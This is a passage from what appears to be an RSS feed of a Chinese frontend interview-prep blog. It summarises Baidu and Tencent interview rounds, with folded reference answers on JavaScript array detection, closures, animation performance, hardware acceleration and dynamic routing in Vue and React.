&lt;h3 id="6-代码质量"&gt;&lt;strong&gt;6. 代码质量&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;静态分析&lt;/strong&gt;：使用 ESLint、TSLint 等工具进行代码静态检查。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;测试覆盖率&lt;/strong&gt;：监控测试覆盖率，确保关键代码路径被充分测试。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="7-文档"&gt;&lt;strong&gt;7. 文档&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代码文档&lt;/strong&gt;：编写和维护项目文档，包括 API 文档、开发指南和使用说明。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动化文档生成&lt;/strong&gt;：使用工具如 Storybook、JSDoc 等生成组件库和 API 文档。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="8-组件库"&gt;&lt;strong&gt;8. 组件库&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;设计系统&lt;/strong&gt;：构建和维护一套一致的设计系统和组件库，提高开发效率和界面一致性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;共享组件&lt;/strong&gt;：创建和管理共享组件，促进代码复用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="9-性能优化"&gt;&lt;strong&gt;9. 性能优化&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;前端性能&lt;/strong&gt;：优化页面加载速度、响应时间和渲染性能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络请求&lt;/strong&gt;：管理和优化网络请求策略，减少请求次数和数据传输量。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="10-安全"&gt;&lt;strong&gt;10. 安全&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;安全最佳实践&lt;/strong&gt;：遵循前端安全最佳实践，如防范 XSS 和 CSRF 攻击。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;敏感数据保护&lt;/strong&gt;：确保敏感数据不被暴露或滥用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-2a354c037923"&gt;4. 项目中遇到的印象最深的难题是什么？如何解决的？&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;难题背景, 影响, 解决方案, 最终结果&lt;/p&gt;</description></item><item><title>百度-百家号-实习 · 第 1 轮 · 技术面试</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-82/round-131/</link><pubDate>Sat, 31 Jan 2026 09:19:52 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-82/round-131/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-82/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 该轮主要考察前端基础知识、JavaScript高级特性、HTTP协议、Vue与React框架对比、Git操作以及算法实现能力。问题涵盖理论理解与实际应用，氛围较为专业。&lt;/p&gt;
&lt;p&gt;本轮共 16 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-25a1d366-42f6-42e2-9a41-b6dd4624fd55"&gt;1. 如何判断一个变量是数组？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/25a1d366-42f6-42e2-9a41-b6dd4624fd55"&gt;判断数组的方式有哪些？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;推荐方法&lt;/strong&gt;：使用 &lt;code&gt;Array.isArray()&lt;/code&gt;，这是最简单、最可靠的方式来检查一个值是否为数组。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他方法&lt;/strong&gt;：&lt;code&gt;instanceof&lt;/code&gt; 和 &lt;code&gt;Object.prototype.toString.call()&lt;/code&gt; 也很有效，但有一些特定的局限性。&lt;code&gt;constructor&lt;/code&gt; 和 &lt;code&gt;isPrototypeOf()&lt;/code&gt; 方法不如 &lt;code&gt;Array.isArray()&lt;/code&gt; 可靠，且在某些情况下可能会出现问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;判断一个值是否为数组的方式有多种：&lt;/p&gt;
&lt;h3 id="1-arrayisarray"&gt;1. &lt;strong&gt;&lt;code&gt;Array.isArray()&lt;/code&gt; 方法&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：这是 ES5 引入的标准方法，推荐用于检查一个值是否为数组。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;Array.isArray(value)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Array.&lt;span style="color:#a6e22e"&gt;isArray&lt;/span&gt;([&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;])); &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Array.&lt;span style="color:#a6e22e"&gt;isArray&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-instanceof"&gt;2. &lt;strong&gt;&lt;code&gt;instanceof&lt;/code&gt; 操作符&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：使用 &lt;code&gt;instanceof&lt;/code&gt; 操作符来判断对象是否是 &lt;code&gt;Array&lt;/code&gt; 的实例。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;value instanceof Array&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;([&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;] &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Array); &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Array); &lt;span style="color:#75715e"&gt;// false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-objectprototypetostringcall"&gt;3. &lt;strong&gt;&lt;code&gt;Object.prototype.toString.call()&lt;/code&gt; 方法&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：使用 &lt;code&gt;Object.prototype.toString.call()&lt;/code&gt; 可以准确判断一个对象的类型，包括数组。它返回 &lt;code&gt;[object Array]&lt;/code&gt; 对于数组，其他类型则返回不同的结果。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;Object.prototype.toString.call(value)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Object.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;([&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;])); &lt;span style="color:#75715e"&gt;// [object Array]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Object.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// [object String]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-constructor"&gt;4. &lt;strong&gt;&lt;code&gt;constructor&lt;/code&gt; 属性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：检查 &lt;code&gt;constructor&lt;/code&gt; 属性是否为 &lt;code&gt;Array&lt;/code&gt;。这种方法不如 &lt;code&gt;Array.isArray()&lt;/code&gt; 可靠，因为 &lt;code&gt;constructor&lt;/code&gt; 可以被改变。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;value.constructor === Array&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;([&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;].&lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; Array); &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; Array); &lt;span style="color:#75715e"&gt;// false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-arrayprototypeisprototypeof"&gt;5. &lt;strong&gt;&lt;code&gt;Array.prototype.isPrototypeOf()&lt;/code&gt; 方法&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：检查数组的 &lt;code&gt;prototype&lt;/code&gt; 是否在目标对象的 &lt;code&gt;prototype&lt;/code&gt; 链上。这种方法也可以用来判断一个对象是否为数组。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;语法&lt;/strong&gt;：&lt;code&gt;Array.prototype.isPrototypeOf(value)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Array.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;isPrototypeOf&lt;/span&gt;([&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;])); &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Array.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;isPrototypeOf&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="6-使用"&gt;6. &lt;strong&gt;使用 &lt;code&gt;constructor&lt;/code&gt; 属性和原型链&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：结合 &lt;code&gt;constructor&lt;/code&gt; 属性和原型链检查。这个方法有一定的局限性，不推荐使用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;isArray&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;object&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; Array;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;isArray&lt;/span&gt;([&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;])); &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;isArray&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-9627e396b5fc"&gt;2. 讲一下闭包及其优缺点。&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;函数嵌套, 词法作用域, 内存管理&lt;/p&gt;</description></item><item><title>百度-搜索-春招 · 第 1 轮 · 技术面试</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-81/round-130/</link><pubDate>Sat, 31 Jan 2026 09:19:33 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-81/round-130/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-81/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 该轮主要考察前端开发相关知识，包括动画实现、性能优化、React优化、Web Accessibility、计时器处理、WebSocket、缓存策略、国际化、兼容性问题等。题目以主观题为主，注重对核心原理和实际应用场景的理解。&lt;/p&gt;
&lt;p&gt;本轮共 18 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-c97dc39dce4b"&gt;1. 实现一个动画，当用户鼠标悬停在按钮上时，按钮逐渐变大&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;CSS transition, 动画性能优化, 硬件加速, 事件监听&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在实现此类动画时，可以使用CSS的transition属性或JavaScript的requestAnimationFrame方法。重点在于控制动画的流畅性和性能。可以通过设置合适的过渡时间（transition-duration）和使用硬件加速（如transform: scale()）来提升性能。此外，注意避免不必要的重排和重绘，确保动画的平滑性。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-5adab921-8dfb-4a65-9f44-38ae8a70820f"&gt;2. 如何避免动画过程中的卡顿？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/5adab921-8dfb-4a65-9f44-38ae8a70820f"&gt;在解决动画卡顿问题时，会引导硬件加速，那么硬件加速的原理是什么？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;硬件加速是指利用 GPU（图形处理单元）来执行图形和动画相关的计算任务，以减轻 CPU（中央处理单元）的负担。GPU 专为处理图形和图像的高吞吐量操作而设计，因此在执行动画和复杂图形渲染时，硬件加速可以提供更流畅的体验。&lt;/p&gt;
&lt;h4 id="原理解析"&gt;原理解析&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GPU vs CPU&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GPU 拥有更多的核心，适合并行处理大量计算任务，而 CPU 核心较少，更适合串行处理复杂逻辑。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;图形渲染&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GPU 优化了图形渲染流程，包括顶点处理、像素着色等，这些是动画和图形显示的基础。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;减少重绘和回流&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过硬件加速，可以减少浏览器的重绘（repaint）和回流（reflow）次数，这些操作通常由 DOM 变更触发，非常消耗性能。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;合成层（Compositing Layer）&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;浏览器使用合成层来合并多个层的图形，GPU 可以快速地在这些层上进行变换和动画。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CSS 属性触发&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;某些 CSS 属性，如 &lt;code&gt;transform&lt;/code&gt; 的 3D 变换（&lt;code&gt;translate3d&lt;/code&gt;、&lt;code&gt;scale3d&lt;/code&gt; 等）和 &lt;code&gt;opacity&lt;/code&gt; 动画，可以触发硬件加速。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;浏览器优化&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;浏览器会根据性能和资源情况，自动决定是否使用硬件加速。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="考察重点"&gt;考察重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;理解：硬件加速的基本概念和 GPU 在图形渲染中的作用。&lt;/li&gt;
&lt;li&gt;应用：知道哪些 CSS 属性可以触发硬件加速，以及如何利用它们来优化动画性能。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;面试中可能会经常会碰到怎么解决动画卡顿的问题，然后会引导到硬件加速。那么究竟什么是硬件加速，为什么它可以提高咱们的动画效率？我们今天就来一探究竟。&lt;/p&gt;</description></item><item><title>百度-商业化-秋招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-80/round-129/</link><pubDate>Fri, 17 Oct 2025 08:26:28 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-80/round-129/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-80/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 这场面试主要围绕前端项目的实际工程能力展开，重点考察了候选人对动态路由、权限控制和状态管理的理解与实践。
同时涉及网络请求优化、缓存机制及组件复用等中高级工程问题，体现出对项目可维护性和性能的关注。
面试还关注了候选人对 TypeScript 应用、学习方法和职业规划的思考，考察其成长潜力与技术视野。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 跨域相关&lt;/p&gt;
&lt;p&gt;本轮共 16 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-eef1fff3-2f61-40d2-b529-e89daabbf0b0"&gt;1. 如何在前端项目中实现动态路由？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/eef1fff3-2f61-40d2-b529-e89daabbf0b0"&gt;如何在前端项目中实现动态路由？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;动态路由的核心是将路由配置从静态定义转为运行时生成或挂载。常见做法包括“前端维护完整路由表后过滤”以及“后端下发路由配置”。&lt;/p&gt;
&lt;p&gt;具体实现依赖框架提供的 API（如 &lt;code&gt;addRoute&lt;/code&gt;、&lt;code&gt;useRoutes&lt;/code&gt;），同时需要兼顾权限控制、懒加载与导航组件的解耦，才能在保证安全性的同时保持可扩展性和良好的用户体验。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在前端项目中实现动态路由，本质上是根据用户权限、接口返回的数据或者运行时条件，动态地生成或加载路由配置，从而决定页面的可访问性和导航结构。&lt;/p&gt;
&lt;p&gt;以 React Router 和 Vue Router 为例，核心思路有一些共通点：
在应用启动时，会有一个静态的基础路由表，用来保证最基本的页面可以正常访问（例如登录页、404 页、Layout 容器等）。而真正需要按用户角色、接口数据控制的路由，则通过接口请求或预置配置动态挂载进路由系统。&lt;/p&gt;
&lt;p&gt;常见的实现方式有两类：&lt;/p&gt;
&lt;p&gt;一种是前端自行维护完整的路由表，用户登录后，后端返回权限信息（角色、菜单、可访问模块 ID 等），前端在已有的路由表中做过滤，只保留当前用户有权限的部分，再动态挂载到路由系统。这种方式对前端掌控力更强，体验流畅，但需要在前端同步维护一份路由和权限的映射关系。&lt;/p&gt;
&lt;p&gt;另一种是由后端直接下发路由配置（通常带有 path、component 标识、子路由结构等），前端拿到配置后再通过组件映射表动态生成路由。这种方式能减轻前端维护压力，但会带来接口设计和前后端耦合的问题。&lt;/p&gt;
&lt;p&gt;在技术层面，React Router v6 提供了 &lt;code&gt;useRoutes&lt;/code&gt; 可以直接基于对象动态生成路由，Vue Router 也支持 &lt;code&gt;router.addRoute&lt;/code&gt; 在运行时动态添加路由。对于懒加载组件，还需要结合 &lt;code&gt;import()&lt;/code&gt; 或 &lt;code&gt;defineAsyncComponent&lt;/code&gt;（Vue）来实现，避免一次性加载所有页面。&lt;/p&gt;
&lt;p&gt;此外，动态路由不仅仅是技术实现，还涉及安全性和用户体验。例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在前端动态路由实现时，不能只依赖前端的路由控制，还需要后端接口做权限校验，避免用户绕过前端访问受限页面。&lt;/li&gt;
&lt;li&gt;路由结构最好和菜单、面包屑等导航组件解耦，通过统一的数据结构管理，保证后续扩展的灵活性。&lt;/li&gt;
&lt;li&gt;在大规模项目中，动态路由还常与微前端、模块化加载结合，按需挂载子应用或子模块。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-fb3f4b9d-6d6c-4b51-8c8d-105a621b420b"&gt;2. Vue3的addRoute与React Router的动态useRoutes有何区别？如何解决动态路由刷新后失效的问题？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/fb3f4b9d-6d6c-4b51-8c8d-105a621b420b"&gt;Vue3的addRoute与React Router的动态useRoutes有何区别？如何解决动态路由刷新后失效的问题？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Vue3 的 &lt;code&gt;addRoute&lt;/code&gt; 属于“增量挂载”，可以在运行时动态向现有路由表中追加新配置；React Router 的 &lt;code&gt;useRoutes&lt;/code&gt; 则是基于配置对象动态生成，强调整体渲染而不是单点挂载。动态路由刷新后失效的根本原因是路由配置只存在于内存中，需要在应用初始化时通过本地存储或接口请求恢复路由数据，才能保证页面刷新后仍能正确访问。&lt;/p&gt;</description></item><item><title>腾讯-3年社招-前端面试 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-79/round-127/</link><pubDate>Sun, 07 Sep 2025 02:45:19 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-79/round-127/</guid><description>&lt;blockquote&gt;
